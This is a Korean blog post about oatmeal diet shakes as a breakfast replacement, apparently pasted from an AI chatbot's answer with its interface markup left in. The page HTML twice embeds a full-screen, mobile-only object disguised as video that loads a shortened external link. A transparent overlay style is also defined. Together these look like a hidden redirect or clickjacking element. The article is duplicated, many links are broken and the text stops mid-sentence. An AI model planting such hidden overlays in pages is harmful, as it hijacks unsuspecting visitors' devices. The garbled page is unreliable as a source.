다이어트 쉐이크 아침식사대용 오트밀 쉐이크

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3c" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c1250497818="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:38">다이어트 쉐이크와 오트밀 쉐이크: 건강한 아침 식사를 위한 선택</h2><p data-sourcepos="3:1-3:50"><strong>다이어트와 바쁜 아침, 두 마리 토끼를 잡고 싶다면?</strong> 오트밀 쉐이크가 정답입니다!</p><h3 data-sourcepos="5:1-5:20">왜 오트밀 쉐이크가 좋을까요?</h3><ul data-sourcepos="7:1-11:0"> <li data-sourcepos="7:1-7:118"><strong>풍부한 영양:</strong> 오트밀은 식이섬유가 풍부하여 포만감을 오래 유지시켜주고, 혈당 조절에도 도움을 줍니다. 또한, 단백질과 다양한 비타민, 미네랄을 함유하고 있어 건강한 아침 식사를 위한 완벽한 선택입니다.</li> <li data-sourcepos="8:1-8:63"><strong>다이어트 효과:</strong> 낮은 칼로리와 높은 포만감으로 인해 다이어트 중에도 충분한 영양을 섭취할 수 있습니다.</li> <li data-sourcepos="9:1-9:54"><strong>간편한 준비:</strong> 물이나 우유에 오트밀 가루만 넣고 쉐이크하면 간단하게 즐길 수 있습니다.</li> <li data-sourcepos="10:1-11:0"><strong>다양한 레시피:</strong> 과일, 견과류, 시럽 등을 첨가하여 다양한 맛과 영양을 더할 수 있습니다.</li> </ul><h3 data-sourcepos="12:1-12:17">오트밀 쉐이크 만드는 법</h3><p data-sourcepos="14:1-14:10"><strong>기본 재료:</strong></p><ul data-sourcepos="16:1-21:0"> <li data-sourcepos="16:1-16:8">오트밀 가루</li> <li data-sourcepos="17:1-17:31">우유 또는 식물성 우유 (아몬드 milk, 두유 등)</li> <li data-sourcepos="18:1-18:16">과일 (바나나, 딸기 등)</li> <li data-sourcepos="19:1-19:17">견과류 (아몬드, 호두 등)</li> <li data-sourcepos="20:1-21:0">시럽 (꿀, 메이플 시럽 등)</li> </ul><p data-sourcepos="22:1-22:11"><strong>만드는 방법:</strong></p><ol data-sourcepos="24:1-27:0"> <li data-sourcepos="24:1-24:24">블렌더에 모든 재료를 넣고 갈아줍니다.</li> <li data-sourcepos="25:1-25:35">원하는 만큼의 얼음을 추가하여 시원하게 즐길 수 있습니다.</li> <li data-sourcepos="26:1-27:0">꿀이나 시럽으로 단맛을 조절합니다.</li> </ol><h3 data-sourcepos="28:1-28:19">다양한 오트밀 쉐이크 레시피</h3><ul data-sourcepos="30:1-38:0"> <li data-sourcepos="30:1-31:22"><strong>바나나 오트밀 쉐이크:</strong> 바나나의 달콤함과 오트밀의 고소함이 조화로운 클래식한 레시피입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0639d2be5acf3522&quot;,&quot;c_77723caed4e4b9ab&quot;,null,&quot;rc_5d06f8913da06789&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7016340"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="바나나 오트밀 쉐이크 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRd745h1VS41h5_81eR5go8VC4U20BKhGOADcacOWp4GvzjOXpfa2qfvINKRXOv"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7016340" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0639d2be5acf3522&quot;,&quot;c_77723caed4e4b9ab&quot;,null,&quot;rc_5d06f8913da06789&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 바나나 오트밀 쉐이크 </div></div></single-image></response-element></div></li> <li data-sourcepos="32:1-33:21"><strong>딸기 오트밀 쉐이크:</strong> 상큼한 딸기와 오트밀의 조합은 여름철에 특히 인기가 많습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0639d2be5acf3522&quot;,&quot;c_77723caed4e4b9ab&quot;,null,&quot;rc_5d06f8913da06789&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.bidbuy./purchases/jp/mercari/item/isure-%E3%82%A2%E3%82%A4%E3%82%B7%E3%83%A5%E3%82%A2-%E3%82%AA%E3%83%BC%E3%83%88%E3%83%9F%E3%83%BC%E3%83%AB%E3%82%B7%E3%82%A7%E3%82%A4%E3%82%AF-%E3%81%84%E3%81%A1%E3%81%94%E5%91%B3-40g/m57865134840"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="딸기 오트밀 쉐이크 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRQRthz2COXA5EW3fORCtEzp0T1-Kar1r103E8KAaJDjW1jQF25tlxO54F3j0hj"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://m.bidbuy./purchases/jp/mercari/item/isure-%E3%82%A2%E3%82%A4%E3%82%B7%E3%83%A5%E3%82%A2-%E3%82%AA%E3%83%BC%E3%83%88%E3%83%9F%E3%83%BC%E3%83%AB%E3%82%B7%E3%82%A7%E3%82%A4%E3%82%AF-%E3%81%84%E3%81%A1%E3%81%94%E5%91%B3-40g/m57865134840" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0639d2be5acf3522&quot;,&quot;c_77723caed4e4b9ab&quot;,null,&quot;rc_5d06f8913da06789&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcS6coABou6iZQZ6FGAtyx0_IaZX4uwmDs_FGRk5IKMb2jyq6ihRmt9Sh769xuR_Ru36J9IouobEsd_aNZPrWqOgd3iJalVuw4U"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">m.bidbuy.</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 딸기 오트밀 쉐이크 </div></div></single-image></response-element></div></li> <li data-sourcepos="34:1-35:21"><strong>초코 오트밀 쉐이크:</strong> 코코아 파우더를 첨가하여 달콤한 초콜릿 맛을 즐길 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0639d2be5acf3522&quot;,&quot;c_77723caed4e4b9ab&quot;,null,&quot;rc_5d06f8913da06789&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.ssg.com/item/itemView.ssg?itemId=1000343038794"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="초코 오트밀 쉐이크 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTOrarX2kIr5pTaRIdFQSXo2DjHJd_6QnfLkqenuHKnRUih6euULOimq3vDqenB"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://.ssg.com/item/itemView.ssg?itemId=1000343038794" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0639d2be5acf3522&quot;,&quot;c_77723caed4e4b9ab&quot;,null,&quot;rc_5d06f8913da06789&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcRtIhhCixXQYolzFY2vsAT8XpEJ9KN4KO2vGfjhQvrdNtdlC_CAGRuhgTMakw7wgosEgilCuYwTguMUgmUNDTi_fO63A4U"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">.ssg.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 초코 오트밀 쉐이크 </div></div></single-image></response-element></div></li> <li data-sourcepos="36:1-38:0"><strong>녹차 오트밀 쉐이크:</strong> 녹차 가루를 넣어 건강과 맛을 동시에 챙길 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0639d2be5acf3522&quot;,&quot;c_77723caed4e4b9ab&quot;,null,&quot;rc_5d06f8913da06789&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.bunjang./products/239904983"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="녹차 오트밀 쉐이크 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSn4kqNJ1xkRlzWD35osoXFP49gnXfbunH3VUMbrYHLtRG3jVe8hJ2RLHIKPoYC"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://m.bunjang./products/239904983" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0639d2be5acf3522&quot;,&quot;c_77723caed4e4b9ab&quot;,null,&quot;rc_5d06f8913da06789&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcT8yHVe32N8g5FMuT3zGbgXi7FfrauN_TUY3jx72fzEEiK3ZjvStQpkyRaALKLkE7rg0dYrFg_0n6vLuhtoKWWLIqyrXFmZ7AdK"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">m.bunjang.</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹차 오트밀 쉐이크 </div></div></single-image></response-element></div></li> </ul><h3 data-sourcepos="39:1-39:21">오트밀 쉐이크 선택 시 주의사항</h3><ul data-sourcepos="41:1-44:0"> <li data-sourcepos="41:1-41:73"><strong>당 함량:</strong> 시중에 판매되는 오트밀 쉐이크는 당 함량이 높을 수 있으므로, 가급적 집에서 직접 만들어 먹는 것이 좋습니다.</li> <li data-sourcepos="42:1-42:49"><strong>첨가물:</strong> 인공 감미료, 색소 등 첨가물이 들어간 제품은 피하는 것이 좋습니다.</li> <li data-sourcepos="43:1-44:0"><strong>알레르기:</strong> 견과류나 우유에 알레르기가 있는 경우에는 다른 재료를 사용해야 합니다.</li> </ul><p data-sourcepos="45:1-45:38"><strong>오늘 아침은 건강하고 맛있는 오트밀 쉐이크로 시작해 보세요!</strong></p><p data-sourcepos="47:1-47:43"><strong>오트밀쉐이크 다이어트쉐이크 아침식사대용 건강식단 다이어트레시피</strong></p><p data-sourcepos="49:1-49:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요!</strong></p><hr data-sourcepos="51:1-51:3"><p data-sourcepos="53:1-53:159"><strong> 추가 요청 시 원하는 을 구체적으로 알려주시면 더욱 다양한 정보를 제공해 드릴 수 있습니다.</strong> 예를 들어, "다양한 종류의 오트밀 가루 사진을 보여주세요" 또는 "오트밀 쉐이크를 만들 때 사용할 수 있는 과일과 견과류 사진을 보여주세요"와 같이 요청해주시면 됩니다.</p><p data-sourcepos="55:1-55:61"><strong>또한, 특정 다이어트 목표나 건강 상태에 맞는 오트밀 쉐이크 레시피를 원하시면 언제든지 말씀해주세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3c" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c1250497818="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:38">다이어트 쉐이크와 오트밀 쉐이크: 건강한 아침 식사를 위한 선택</h2><p data-sourcepos="3:1-3:50"><strong>다이어트와 바쁜 아침, 두 마리 토끼를 잡고 싶다면?</strong> 오트밀 쉐이크가 정답입니다!</p><h3 data-sourcepos="5:1-5:20">왜 오트밀 쉐이크가 좋을까요?</h3><ul data-sourcepos="7:1-11:0"> <li data-sourcepos="7:1-7:118"><strong>풍부한 영양:</strong> 오트밀은 식이섬유가 풍부하여 포만감을 오래 유지시켜주고, 혈당 조절에도 도움을 줍니다. 또한, 단백질과 다양한 비타민, 미네랄을 함유하고 있어 건강한 아침 식사를 위한 완벽한 선택입니다.</li> <li data-sourcepos="8:1-8:63"><strong>다이어트 효과:</strong> 낮은 칼로리와 높은 포만감으로 인해 다이어트 중에도 충분한 영양을 섭취할 수 있습니다.</li> <li data-sourcepos="9:1-9:54"><strong>간편한 준비:</strong> 물이나 우유에 오트밀 가루만 넣고 쉐이크하면 간단하게 즐길 수 있습니다.</li> <li data-sourcepos="10:1-11:0"><strong>다양한 레시피:</strong> 과일, 견과류, 시럽 등을 첨가하여 다양한 맛과 영양을 더할 수 있습니다.</li> </ul><h3 data-sourcepos="12:1-12:17">오트밀 쉐이크 만드는 법</h3><p data-sourcepos="14:1-14:10"><strong>기본 재료:</strong></p><ul data-sourcepos="16:1-21:0"> <li data-sourcepos="16:1-16:8">오트밀 가루</li> <li data-sourcepos="17:1-17:31">우유 또는 식물성 우유 (아몬드 milk, 두유 등)</li> <li data-sourcepos="18:1-18:16">과일 (바나나, 딸기 등)</li> <li data-sourcepos="19:1-19:17">견과류 (아몬드, 호두 등)</li> <li data-sourcepos="20:1-21:0">시럽 (꿀, 메이플 시럽 등)</li> </ul><p data-sourcepos="22:1-22:11"><strong>만드는 방법:</strong></p><ol data-sourcepos="24:1-27:0"> <li data-sourcepos="24:1-24:24">블렌더에 모든 재료를 넣고 갈아줍니다.</li> <li data-sourcepos="25:1-25:35">원하는 만큼의 얼음을 추가하여 시원하게 즐길 수 있습니다.</li> <li data-sourcepos="26:1-27:0">꿀이나 시럽으로 단맛을 조절합니다.</li> </ol><h3 data-sourcepos="28:1-28:19">다양한 오트밀 쉐이크 레시피</h3><ul data-sourcepos="30:1-38:0"> <li data-sourcepos="30:1-31:22"><strong>바나나 오트밀 쉐이크:</strong> 바나나의 달콤함과 오트밀의 고소함이 조화로운 클래식한 레시피입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0639d2be5acf3522","c_77723caed4e4b9ab",null,"rc_5d06f8913da06789",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7016340"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="바나나 오트밀 쉐이크 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRd745h1VS41h5_81eR5go8VC4U20BKhGOADcacOWp4GvzjOXpfa2qfvINKRXOv"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7016340" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0639d2be5acf3522","c_77723caed4e4b9ab",null,"rc_5d06f8913da06789",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 바나나 오트밀 쉐이크 </div></div></single-image></response-element></div></li> <li data-sourcepos="32:1-33:21"><strong>딸기 오트밀 쉐이크:</strong> 상큼한 딸기와 오트밀의 조합은 여름철에 특히 인기가 많습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0639d2be5acf3522","c_77723caed4e4b9ab",null,"rc_5d06f8913da06789",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.bidbuy./purchases/jp/mercari/item/isure-%E3%82%A2%E3%82%A4%E3%82%B7%E3%83%A5%E3%82%A2-%E3%82%AA%E3%83%BC%E3%83%88%E3%83%9F%E3%83%BC%E3%83%AB%E3%82%B7%E3%82%A7%E3%82%A4%E3%82%AF-%E3%81%84%E3%81%A1%E3%81%94%E5%91%B3-40g/m57865134840"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="딸기 오트밀 쉐이크 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRQRthz2COXA5EW3fORCtEzp0T1-Kar1r103E8KAaJDjW1jQF25tlxO54F3j0hj"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://m.bidbuy./purchases/jp/mercari/item/isure-%E3%82%A2%E3%82%A4%E3%82%B7%E3%83%A5%E3%82%A2-%E3%82%AA%E3%83%BC%E3%83%88%E3%83%9F%E3%83%BC%E3%83%AB%E3%82%B7%E3%82%A7%E3%82%A4%E3%82%AF-%E3%81%84%E3%81%A1%E3%81%94%E5%91%B3-40g/m57865134840" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0639d2be5acf3522","c_77723caed4e4b9ab",null,"rc_5d06f8913da06789",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcS6coABou6iZQZ6FGAtyx0_IaZX4uwmDs_FGRk5IKMb2jyq6ihRmt9Sh769xuR_Ru36J9IouobEsd_aNZPrWqOgd3iJalVuw4U"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">m.bidbuy.</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 딸기 오트밀 쉐이크 </div></div></single-image></response-element></div></li> <li data-sourcepos="34:1-35:21"><strong>초코 오트밀 쉐이크:</strong> 코코아 파우더를 첨가하여 달콤한 초콜릿 맛을 즐길 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0639d2be5acf3522","c_77723caed4e4b9ab",null,"rc_5d06f8913da06789",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.ssg.com/item/itemView.ssg?itemId=1000343038794"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="초코 오트밀 쉐이크 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTOrarX2kIr5pTaRIdFQSXo2DjHJd_6QnfLkqenuHKnRUih6euULOimq3vDqenB"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://.ssg.com/item/itemView.ssg?itemId=1000343038794" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0639d2be5acf3522","c_77723caed4e4b9ab",null,"rc_5d06f8913da06789",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRtIhhCixXQYolzFY2vsAT8XpEJ9KN4KO2vGfjhQvrdNtdlC_CAGRuhgTMakw7wgosEgilCuYwTguMUgmUNDTi_fO63A4U"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">.ssg.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 초코 오트밀 쉐이크 </div></div></single-image></response-element></div></li> <li data-sourcepos="36:1-38:0"><strong>녹차 오트밀 쉐이크:</strong> 녹차 가루를 넣어 건강과 맛을 동시에 챙길 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0639d2be5acf3522","c_77723caed4e4b9ab",null,"rc_5d06f8913da06789",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.bunjang./products/239904983"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="녹차 오트밀 쉐이크 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSn4kqNJ1xkRlzWD35osoXFP49gnXfbunH3VUMbrYHLtRG3jVe8hJ2RLHIKPoYC"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://m.bunjang./products/239904983" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0639d2be5acf3522","c_77723caed4e4b9ab",null,"rc_5d06f8913da06789",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcT8yHVe32N8g5FMuT3zGbgXi7FfrauN_TUY3jx72fzEEiK3ZjvStQpkyRaALKLkE7rg0dYrFg_0n6vLuhtoKWWLIqyrXFmZ7AdK"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">m.bunjang.</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹차 오트밀 쉐이크 </div></div></single-image></response-element></div></li> </ul><h3 data-sourcepos="39:1-39:21">오트밀 쉐이크 선택 시 주의사항</h3><ul data-sourcepos="41:1-44:0"> <li data-sourcepos="41:1-41:73"><strong>당 함량:</strong> 시중에 판매되는 오트밀 쉐이크는 당 함량이 높을 수 있으므로, 가급적 집에서 직접 만들어 먹는 것이 좋습니다.</li> <li data-sourcepos="42:1-42:49"><strong>첨가물:</strong> 인공 감미료, 색소 등 첨가물이 들어간 제품은 피하는 것이 좋습니다.</li> <li data-sourcepos="43:1-44:0"><strong>알레르기:</strong> 견과류나 우유에 알레르기가 있는 경우에는 다른 재료를 사용해야 합니다.</li> </ul><p data-sourcepos="45:1-45:38"><strong>오늘 아침은 건강하고 맛있는 오트밀 쉐이크로 시작해 보세요!</strong></p><p data-sourcepos="47:1-47:43"><strong>오트밀쉐이크 다이어트쉐이크 아침식사대용 건강식단 다이어트레시피</strong></p><p data-sourcepos="49:1-49:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요!</strong></p><hr data-sourcepos="51:1-51:3"><p data-sourcepos="53:1-53:159"><strong> 추가 요청 시 원하는 을 구체적으로 알려주시면 더욱 다양한 정보를 제공해 드릴 수 있습니다.</strong> 예를 들어, "다양한 종류의 오트밀 가루 사진을 보여주세요" 또는 "오트밀 쉐이크를 